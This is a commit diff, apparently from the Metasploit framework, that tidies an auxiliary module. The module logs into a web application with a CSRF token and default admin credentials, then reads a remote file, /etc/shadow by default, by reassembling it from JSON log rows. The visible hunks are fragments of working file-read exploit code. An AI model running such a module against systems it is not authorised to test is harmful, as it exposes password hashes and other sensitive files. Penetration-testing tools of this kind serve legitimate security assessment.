3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'json'
7
-
8
6
class MetasploitModule < Msf ::Auxiliary
9
7
10
8
include Msf ::Exploit ::Remote ::HttpClient
@@ -33,7 +31,6 @@ def initialize
33
31
34
32
register_options (
35
33
[
36
- Opt ::RPORT ( 80 ) ,
37
34
OptString . new ( 'FILE' , [ true , 'Remote file to view' , '/etc/shadow' ] ) ,
38
35
OptString . new ( 'TARGETURI' , [ true , 'Vulnerable URI path' , '/' ] ) ,
39
36
OptString . new ( 'USERNAME' , [ true , 'Username' , 'admin' ] ) ,
@@ -42,7 +39,6 @@ def initialize
42
39
end
43
40
44
41
def run_host ( ip )
45
-
46
42
# pull our csrf
47
43
res = send_request_cgi ( {
48
44
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'login' ) ,
@@ -66,7 +62,6 @@ def run_host(ip)
66
62
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'login' ) ,
67
63
'method' => 'POST' ,
68
64
'cookie' => cookie ,
69
- 'ctype' => 'application/x-www-form-urlencoded;' ,
70
65
'vars_post' => {
71
66
'csrfmiddlewaretoken' => csrf ,
72
67
'_fields' => JSON . generate ( {
@@ -108,7 +103,7 @@ def run_host(ip)
108
103
end
109
104
110
105
if res && res . body
111
- result = JSON . parse ( res . body )
106
+ result = res . get_json_document
112
107
unless result . has_key? ( 'web3.model' )
113
108
print_error ( 'Invalid JSON returned' )
114
109
return
@@ -118,7 +113,7 @@ def run_host(ip)
118
113
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
119
114
result [ 'web3.model' ] [ 'messages' ] [ 'rows' ] . each do |row |
120
115
if row [ 'msg' ] . start_with? ( datastore [ 'FILE' ] )
121
- reconstructed_file << row [ 'msg' ] . gsub ( "#{ datastore [ 'FILE' ] } :" , '' ) . strip ( )
116
+ reconstructed_file << row [ 'msg' ] . gsub ( "#{ datastore [ 'FILE' ] } :" , '' ) . strip
122
117
end
123
118
end
124
119
if reconstructed_file . any?
@@ -131,4 +126,5 @@ def run_host(ip)
131
126
end
132
127
end
133
128
end
129
+
134
130
end
0 commit comments